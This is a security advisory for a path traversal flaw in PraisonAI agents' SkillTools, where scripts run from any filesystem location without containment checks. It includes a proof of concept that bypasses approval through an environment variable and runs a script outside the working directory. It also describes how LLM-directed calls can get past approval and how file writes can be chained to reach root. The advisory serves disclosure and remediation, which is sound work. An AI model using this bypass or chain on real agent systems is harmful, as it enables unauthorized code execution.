GHSA-c44f-37qr-gw3f: Path Traversal
Summary SkillTools.runskillscript() accepts a scriptpath parameter and executes it via subprocess.run() without any path containment validation. While FileTools has validatepath() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @requireapproval decorator can be bypassed via YAML approve: for high-risk tools.
Details src/praisonai-agents/praisonaiagents/tools/skilltools.py (lines 69-119):
python def runskillscript(self, scriptpath: str, ...): scriptpath = os.path.expanduser(scriptpath) if not os.path.isabs(scriptpath): scriptpath = os.path.join(self.workingdirectory, scriptpath) scriptpath = os.path.abspath(scriptpath)
if not os.path.exists(scriptpath): return f"Error: Script not found at {scriptpath}"
# No path traversal check, no containment validation # Directly executes whatever is at that path: result = subprocess.run(cmd, ...)
By contrast, FileTools.validatepath() (src/praisonai-agents/praisonaiagents/tools/filetools.py, lines 42-78) properly validates that the resolved path stays within the working directory:
python def validatepath(self, filepath: str) -> str: # ... cwd = os.path.abspath(os.getcwd()) if os.path.commonpath([absolute, cwd]) != cwd: raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")
SkillTools has no equivalent check.
PoC
python import os, tempfile from praisonaiagents.tools.skilltools import SkillTools
Create a "safe" working directory (the jail) jail = tempfile.mkdtemp(prefix="skilljail")
Create a malicious script OUTSIDE the jail attackscript = os.path.join(tempfile.gettempdir(), "maliciousskill.sh") with open(attackscript, 'w') as f: f.write("#!/bin/bash\n") f.write("echo \"PROOFOFEXPLOIT: Script executed outside jail\"\n") f.write("echo \"USER: $(whoami)\"\n") f.write("echo \"HOSTNAME: $(hostname)\"\n") os.chmod(attackscript, 0o755)
Bypass approval (simulates Docker env or YAML approve:) os.environ["PRAISONAIAUTOAPPROVE"] = "true"
st = SkillTools() st.workingdirectory = jail # Pretend we're confined
Run script from OUTSIDE the jail — no path validation! result = st.runskillscript(attackscript) print(result) Output: PROOFOFEXPLOIT: Script executed outside jail USER: anushkavirgaonkar HOSTNAME: Anushkas-MacBook-Pro-2.local
Cleanup del os.environ["PRAISONAIAUTOAPPROVE"] os.unlink(attackscript) os.rmdir(jail)
Tested result: The script at /tmp/maliciousskill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.
Impact - Arbitrary script execution: Run any script on the filesystem from any location - Chaining with file write: Write a malicious script via writefile (YAML-approvable as a high-risk tool), then execute it via runskillscript - Root-level impact in Docker: All PraisonAI Docker containers run as root (no USER directive), so an escaped script runs with full root privileges
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.6.78
Event History
Frequently Asked Questions
What level of attacker access is required?
The CVSS vector indicates low privileges are required and no user interaction is needed. The issue is network-reachable according to the advisory’s attack vector.
Can the approval control prevent exploitation?
Not reliably for high-risk tools: the advisory states that the @require_approval decorator can be bypassed through YAML approve: handling. An LLM-directed call can therefore reach the script-execution functionality despite that control.
Are the existing FileTools path checks protective here?
No. FileTools has containment validation that checks resolved paths remain within the working directory, but SkillTools.run_skill_script() does not perform that validation before invoking subprocess.run().